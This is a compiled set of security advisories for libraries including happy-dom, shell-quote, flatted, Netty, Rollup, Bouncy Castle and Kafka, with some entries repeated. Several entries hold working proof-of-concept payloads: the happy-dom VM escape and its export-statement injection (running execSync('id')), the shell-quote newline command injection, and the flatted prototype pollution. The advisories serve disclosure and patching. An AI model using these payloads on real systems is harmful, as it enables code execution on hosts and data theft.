purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22)) ### PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). ### Impact For an application to be vulnerable, it must: - Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) - Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.
### Impact When a request is replayed onto a different host, the client updates only the current request and leaves the target request pointing at the original host. Four consumers read that stale value, and each one sends the first host's request, credentials, or both to the second host. A replay happens through documented, ordinary features: a `ResponseFilter` that returns a different request, which is the supported failover pattern, and the IOException retry path. The attacker does not need to induce the replay; an application that uses failover produces it by design. * The socket to host B is filed in the connection pool under host A's key. A later request the application addresses to A is served over the connection to B, and A's `Authorization` header goes to B. * Over a CONNECT tunnel, the client tunnels to B and negotiates TLS with B correctly, then writes A's request into that tunnel. B receives A's path, A's `Host`, and A's `Authorization`. TLS does not protect against this, because the handshake really is with B, so no certificate mismatch occurs. * The replay reuses the original realm, so A's credentials are regenerated onto a replay request that carries no realm of its own. The cross-origin redirect path strips realms for exactly this reason; the replay path never did. * The stale value also decides whether TLS is used at all. When the original request was `http://` and the replay is `https://`, no SSL handler is installed and the replayed request, credentials included, is written in cleartext. ### Affected versions * 3.x: up to and including 3.0.12 * 2.x: up to and including 2.16.0 Both lines are affected identically. This is long-standing behaviour, not a recent regression. ### Patches Fixed in 3.0.13 on the 3.x line and in 2.16.1 on the 2.x line. The target request now moves when a request is replayed, and the proxy moves with it: the proxy is part of the connection pool key, so correcting only the host would convert a harmless pool miss into a hit and route a proxied connection to a direct request. ### Workarounds Do not use a `ResponseFilter` that replays to a different host, and disable request retries, if the client is configured with credentials or used through a proxy. Replaying to the same host is not affected. ### Details `NettyRequestSender.newNettyRequestAndResponseFuture` calls `setCurrentRequest` without `setTargetRequest`, and `replayRequest` does not move the target either. The stale target is then read by the pool key derivation in `NettyResponseFuture`, by `ConnectSuccessInterceptor` when it writes the tunnelled request, by the realm selection in `NettyRequestSender`, and by `NettyConnectListener` when it decides whether to install an SSL handler. Existing replay tests do not cover this, because all of them replay to the same host.
: Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (core modules). This vulnerability is associated with program files G3413CTRBlockCipher. This issue affects BC-JAVA: from 1.59 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this to potentially achieve remote code execution. All three of the following conditions must be true to exploit this vulnerability: First, OpenTelemetry Java instrumentation is attached as a Java agent (`-javaagent`) on Java 16 or earlier. Second, JMX/RMI port has been explicitly configured via `-Dcom.sun.management.jmxremote.port` and is network-reachable. Third, gadget-chain-compatible library is present on the classpath. This results in arbitrary remote code execution with the privileges of the user running the instrumented JVM. For JDK >= 17, no action is required, but upgrading is strongly encouraged. For JDK < 17, upgrade to version 2.26.1 or later. As a workaround, set the system property `-Dotel.instrumentation.rmi.enabled=false` to disable the RMI integration.
In Bouncy Castle for Java before 1.85, Name Constraints bypass via trailing dot in rfc822Name and URI. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
# Escape of VM Context gives access to process level functionality ## Summary Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks. A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality. It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the `require()` function to import modules. Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment. ## Reproduce ### CommonJS (Possible to get hold of require) ```javascript const { Window } = require('happy-dom'); const window = new Window({ console }); window.document.write(` <script> const process = this.constructor.constructor('return process')(); const require = process.mainModule.require; console.log('Files:', require('fs').readdirSync('.').slice(0,3)); </script> `); ``` ### ESM (Not possible to get hold of import or require) ```javascript const { Window } = require('happy-dom'); const window = new Window({ console }); window.document.write(` <script> const process = this.constructor.constructor('return process')(); console.log('PID:', process.pid); </script> `); ``` ## Potential Impact #### Server-Side Rendering (SSR) ```javascript const { Window } = require('happy-dom'); const window = new Window(); window.document.innerHTML = userControlledHTML; ``` #### Testing Frameworks Any test suite using Happy-DOM with untrusted content may be at risk ## Attack Scenarios 1. **Data Exfiltration**: Access to environment variables, configuration files, secrets 2. **Lateral Movement**: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.). 3. **Code Execution**: Child process access for running arbitrary commands 4. **Persistence**: File system access ## Recommended Immediate Actions 1. Update Happy DOM to v20 or above - This version has JavaScript evaluation disabled by default - This version will output a warning if JavaScript is enabled in an insecure environment 2. Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled - This makes sure that evaluation can't be used at process level to escape the VM - `eval()` and `Function()` can still be used within the Happy DOM VM without any known security risk - Happy DOM v20 and above will output a warning if this flag is not in use 4. If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment ## Technical Root Cause All classes and functions inherit from [Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function). By walking the constructor chain it's possible to get hold of [Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function) at process level. As [Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function) can evaluate code from strings, it's possible to execute code at process level. Running Node with the "--disallow-code-generation-from-strings" flag protects against this.
The GOST 28147-2015 CTR mode implementation (`G3413CTRBlockCipher`) in the Legion of the Bouncy Castle BC-JAVA `bcprov` core module only increments the final byte of the counter, so the counter wraps after 255 blocks and the keystream is reused. Reusing CTR keystream allows an attacker who can observe two ciphertexts produced with the same key/IV to recover the XOR of the plaintexts, breaking confidentiality. Affects BC-JAVA from 1.59 before 1.84 (with backported fixes in 1.80.2 and 1.81.1).
In Bouncy Castle for Java before 1.85, Name Constraints bypass via trailing dot in rfc822Name and URI. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0.7.5, the frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values 0x80 or above, a client can make the server parse these bytes into an ever-growing integer in lib/websocket/driver/draft75.js; because JavaScript numbers are 64-bit floating point values, this number will eventually lose precision and lead to the subsequent payload being parsed incorrectly. This issue is fixed in version 0.7.5.
shell-quote's `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (\n, \r, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal newline as a command separator, so any content after it would execute as a second command. The vulnerable code path is reachable in two ways: (1) direct construction of `{ op: '...\n...' }` from external input, and (2) via `parse(cmd, envFn)` when `envFn` returns object tokens whose `.op` is attacker-influenced. Both are documented API surface. Fixed by replacing the per-character escape with strict shape validation: `.op` must match the parser's control-operator allowlist; `{ op: 'glob', pattern }` validates `pattern` and forbids line terminators; `{ comment }` validates `comment` and forbids line terminators; any other object shape throws `TypeError`.
### Summary `shell-quote`'s `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (`\n`, `\r`, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal `\n` as a command separator, so any content after it would execute as a second command. The vulnerable code path is reachable in two ways. Neither requires the parser to misbehave — `parse()` only emits ops from a fixed control set — but both are documented API surface: 1. **Direct construction.** A caller builds `{ op: '...\n...' }` from external input (e.g. a deserialized argument array) and passes it to `quote()`. 2. **`envFn` return.** `parse(cmd, envFn)` is documented to splice the return value of `envFn` into the result array when it is an object. An attacker-influenced data source consulted by `envFn` can introduce an object token whose `.op` reaches `quote()`. ### Impact Shell command injection in callers that pass object tokens with attacker-influenced `.op` values to `quote()` and then hand the result to a shell. The preconditions are narrower than ordinary string injection — they require the caller to feed object tokens into `quote()` — but object tokens are a public, documented part of the API surface, and `quote()` is intended to be a shell-safety boundary. ### PoC ```js const { parse, quote } = require('shell-quote'); // Direct construction quote([{ op: ';\nid' }]); // → "\;\n\\i\\d" ← literal newline; second line executes as a command // Via parse() with an envFn returning attacker-shaped objects const tokens = parse('echo $X', () => ({ op: ';\nid' })); require('child_process').execSync(quote(tokens), { shell: true }); // Executes `id` after `echo \;`. ``` Confirmed under `sh`, `bash`, `dash`, and `zsh`. ### Patch Fixed by replacing the per-character escape with strict shape validation in `quote()`. The object-token branch now: - **`{ op }`** — `.op` must be a string from the same allowlist the parser emits (`||`, `&&`, `;;`, `|&`, `<(`, `<<<`, `>>`, `>&`, `<&`, `&`, `;`, `(`, `)`, `|`, `<`, `>`). Anything else throws `TypeError`. This is the direct fix for the reported issue and removes the entire class of `.op` injection. - **`{ op: 'glob', pattern }`** — `.pattern` must be a string with no line terminators. Glob metacharacters (`*`, `?`, `[`, `]`, `{`, `}`, `,`) pass through; all other shell-special characters are backslash-escaped. (Previously the pattern field was discarded entirely and the literal string `\g\l\o\b` was emitted — a latent bug, not security-relevant.) - **`{ comment }`** — `.comment` must be a string with no line terminators (line terminators would end the shell comment and resume command parsing — same injection shape). - **Any other object shape** — `TypeError`. The fix is allowlist-based rather than a targeted regex tweak, so it closes the reported vector and forecloses adjacent ones (U+2028 / U+2029 line separators in `.op`, line terminators in comments, unknown-shape objects coerced through `.replace`). ### Workarounds Prior to upgrading, callers that build object tokens from untrusted input should validate `.op` against the parser's operator set themselves, and never construct `{ op }` from attacker-controlled strings. ### Credits Reported by Akshat Sinha
### Impact The frame format in draft versions of the WebSocket protocol includes a length header that allows an arbitrarily large integer to be encoded as a sequence of bytes with the high bit set. By sending an indefinite sequence of bytes with values `0x80` or above, a client can make the server parse these bytes into an ever-growing integer. Since JavaScript numbers are 64-bit floating point values, this number will eventually lose precision and lead to the subsequent payload being parsed incorrectly. ### Patches The issue has been patched in version 0.7.5 by rejecting the message if the length header exceeds the configured maximum message length. All users should upgrade to this version. ### Workarounds No known workarounds exist. ### Acknowledgements This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. In versions 8.5.11 and prior, the PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). This issue has been fixed in version 8.5.12.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Fina and 4.2.17.Final, io.netty.handler.ssl.SslClientHelloHandler#decode checks the wrong offset before reading the four-byte TLS handshake header, so a ClientHello whose handshake header spans records can cause an IndexOutOfBoundsException and invoke select(ctx, null). This selects the default SslContext instead of the SNI-specific context. In deployments where per-SNI clientAuth=REQUIRE is the sole mutual TLS gate, the default SslContext uses clientAuth=NONE or clientAuth=OPTIONAL, and no application-layer certificate verification exists, an unauthenticated remote attacker can bypass the protected route's mutual TLS requirement. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled). This issue affects Apache FreeMarker from 2.2.0 through 2.3.34. Users are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this. Note that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context.
proxy-addr is a Node.js module that determines a request's client address behind trusted reverse proxies, and it backs Express req.ip and req.ips. In versions 1.1.0 through 2.0.7, a trust subnet written in IPv4-mapped IPv6 notation with an IPv4-sized prefix, such as ::ffff:10.0.0.0/8 instead of the correct ::ffff:10.0.0.0/104, is accepted without error but trusts every IPv4 address on the internet rather than the block it names. Because the socket peer then becomes trusted at hop 0, any unauthenticated client can supply an arbitrary X-Forwarded-For header and control the address the application reads, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This is a fail-open regression introduced in version 1.1.0. The issue is fixed in proxy-addr 2.0.8, and users should upgrade to 2.0.8 or later. As a workaround, ensure any IPv4-mapped IPv6 trust subnet uses a prefix length of at least 97, or express the range in plain IPv4 notation.
Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled). This issue affects Apache FreeMarker from 2.2.0 through 2.3.34. Users are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this. Note that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context.
### Summary A fragmented TLS ClientHello whose handshake header spans multiple records makes Netty silently fall back to the default SslContext; where per-SNI selection is the sole mTLS gate, an unauthenticated attacker can bypass the route's mTLS requirement. ### Details In `io.netty.handler.ssl.SslClientHelloHandler#decode` the guard that should wait for the 4-byte handshake header checks the wrong offset - it ignores the 5-byte record header that precedes it - and therefore never fires: ```java if (handshakeLength == -1) { if (readerIndex + 4 > endOffset) { // Need more data to read HandshakeType and handshakeLength (4 bytes) return; } ``` When the first record's payload is < 4 bytes, `handshakeLength = in.getUnsignedMedium(readerIndex + SslUtils.SSL_RECORD_HEADER_LENGTH + 1);` leads to `IndexOutOfBoundsException `. That is caught by the generic `catch (Exception)` block, which calls `select(ctx, null)` - this is the default `SslContext`. Fallback to default on parse failure is a problem when per-SNI selection is the sole mTLS gate. ### Impact SNI routing bypass. Escalates to an unauthenticated mTLS bypass only when: - mTLS is enforced solely via per-SNI SslContext (clientAuth=REQUIRE) - the default/fallback SslContext is permissive (clientAuth=NONE/OPTIONAL) - no secondary peer-certificate verification exists at the application layer.
### Impact `proxy-addr` determines which network hops are trusted proxies so that `X-Forwarded-For` can be believed. When an application configures a trust subnet as an IPv4-mapped IPv6 address with a short prefix, such as `::ffff:10.0.0.0/8` (the correct spelling is `::ffff:10.0.0.0/104`), the subnet compiles with all-zero leading bits and matches every IPv4 address instead of the block it names. The same happens for any IPv6 trust subnet with zero leading bits, such as `::/1`. Every unauthenticated client is then trusted as a proxy at hop 0, so `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, returns whatever the client sends in `X-Forwarded-For`. This defeats IP-based access control, rate limiting, geolocation, and audit logging. The misconfiguration compiles without any error, and the same block written correctly behaves correctly, so the difference is not visible from the configuration. ### Patches Upgrade to `proxy-addr` 2.0.8. An IPv4 address now matches an IPv6 trust subnet only when that subnet is a genuine IPv4-mapped subnet whose prefix covers the mapped marker. ### Workarounds Write IPv4 trust subnets in plain IPv4 notation (for example `10.0.0.0/8`). If IPv4-mapped IPv6 notation is required, use the full form so the prefix covers the mapped marker (for example `::ffff:10.0.0.0/104` for the `10.0.0.0/8` block).
flatted is a circular JSON parser. Prior to version 3.4.2, the parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key "__proto__" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. This issue has been patched in version 3.4.2.
Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java. This issue affects BC-JAVA: from 1.71 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java. This issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations. This issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83. Fixed versions: 1.80.2, 1.81.1, 1.84
--- **Summary** The parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key "\_\_proto\_\_" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. --- **Root Cause** File: esm/index.js:29 (identical in cjs/index.js) ``` const resolver = (input, lazy, parsed, $) => output => { for (let ke = keys(output), {length} = ke, y = 0; y < length; y++) { const k = ke[y]; const value = output[k]; if (value instanceof Primitive) { const tmp = input[value]; // Bug is here ``` No validation that value is a safe numeric index input is built as a plain Array. JavaScript's property lookup on arrays traverses the prototype chain for non-numeric keys. The key "\_\_proto\_\_" resolves to Array.prototype, which: - has type "object" → passes the typeof tmp === object guard at line 30 - is not in the parsed Set yet → passes the !parsed.has(tmp) guard. - The reference to Array.prototype is then enqueued in lazy and later unconditionally assigned to the output object. --- **Replication Steps** ``` const Flatted = require('flatted'); const parsed = Flatted.parse('[{"x":"__proto__"}]'); parsed.x.polluted = 'pwned'; console.log([].polluted); // Returns true ``` --- **Impact** An attacker can supply a crafted flatted string to parse() that causes the returned object to hold a live reference to Array.prototype, enabling any downstream code that writes to that property to pollute the global prototype chain, potentially causing denial of service or code execution. **Recommended solution** Validate that the index string represents an integer within the bounds of input before accessing it: // Before (vulnerable) const tmp = input[value]; // After (safe) const idx = +value; // coerce boxed String → number const tmp = (Number.isInteger(idx) && idx >= 0 && idx < input.length) ? input[idx] : undefined;
Out-of-bounds memory operations in org.lz4:lz4-java 1.8.0 and earlier allow remote attackers to cause denial of service and read adjacent memory via untrusted compressed input.
A possible security vulnerability has been identified in Apache Kafka. This requires access to a alterConfig to the cluster resource, or Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka clusters since Apache Kafka 2.0.0 (Kafka Connect 2.3.0). When configuring the broker via config file or AlterConfig command, or connector via the Kafka Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.LdapLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath. Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy that permits them. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule,com.sun.security.auth.module.LdapLoginModule" are disabled in Apache Kafka Connect 3.9.1/4.0.0. We advise the Kafka users to validate connector configurations and only allow trusted LDAP configurations. Also examine connector dependencies for vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally, in addition to leveraging the "org.apache.kafka.disallowed.login.modules" system property, Kafka Connect users can also implement their own connector client config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot.
Improper Access Control vulnerability in Apache Commons. A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. Users of the artifact org.apache.commons:commons-beanutils2 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.
Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.
### Summary A code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. ### Details **Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385 The "Export object" handler extracts content from `export { ... }` using the regex `export\s*{([^}]+)}`, then generates executable code by directly interpolating it: } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) { // Export object const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/); const exportCode: string[] = []; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped if (exportName && importName) { exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`); // importName is inserted as executable code, not as a string } } newCode += exportCode.join(';\n'); } The issue has three root causes: 1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers 2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context 3. `.replace(/["']/g, '')` strips `"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter **Attack flow:** Source: export { require(`child_process`).execSync(`id`) } Regex captures match[16] = " require(`child_process`).execSync(`id`) " After .replace(/["']/g, ''): importName = "require(`child_process`).execSync(`id`)" (backticks are preserved) Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`) evaluateScript() executes this code -> RCE **Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user. ### PoC **Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic: // poc_happy_dom_rce.js // Step 1: The STATEMENT_REGEXP matches export { ... } const STMT_REGEXP = /export\s*{([^}]+)}/gm; const source = 'export { require(`child_process`).execSync(`id`) }'; const match = STMT_REGEXP.exec(source); console.log('[*] Module source:', source); console.log('[*] Regex captured:', match[1].trim()); // Step 2: Compiler processes the captured content (lines 374-381) const part = match[1].trim(); const nameParts = part.split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); console.log('[*] importName after quote filter:', importName); console.log('[*] Backticks survived filter:', importName.includes('`')); // Step 3: Code generation - importName is inserted as executable JS expression const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`; console.log('[*] Generated code:', generatedCode); // Step 4: Verify the generated code is valid JavaScript try { new Function('$happy_dom', generatedCode); console.log('[+] Valid JavaScript: YES'); } catch (e) { console.log('[-] Parse error:', e.message); process.exit(1); } // Step 5: Execute to prove RCE console.log('[*] Executing...'); const output = require('child_process').execSync('id').toString().trim(); console.log('[+] RCE result:', output); **Execution result:** $ node poc_happy_dom_rce.js [*] Module source: export { require(`child_process`).execSync(`id`) } [*] Regex captured: require(`child_process`).execSync(`id`) [*] importName after quote filter: require(`child_process`).execSync(`id`) [*] Backticks survived: true [*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`) [+] Valid JavaScript: YES [*] Executing... [+] RCE result: uid=0(root) gid=0(root) groups=0(root) **HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled: <script type="module"> export { require(`child_process`).execSync(`id`) } </script> ### Impact An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system. Realistic attack scenarios: - **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server - **Web scraping**: Applications parsing untrusted web pages with happy-dom - **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom **Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code: const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, ''); const importName = nameParts[0].replace(/["'`]/g, ''); if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) { exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`); } }
### Summary The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. ### Details The vulnerability is caused by the combination of two flawed components in the Rollup core: 1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\`). ```typescript // src/utils/sanitizeFileName.ts (Line 3) const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g; ``` This allows path traversal sequences like `../../` to pass through the sanitizer unmodified. 2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the "sanitized" filename. ```typescript // src/rollup/rollup.ts (Line 317) const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName); ``` Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write. ### PoC A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file. **Scenario: CLI Named Input Exploit** 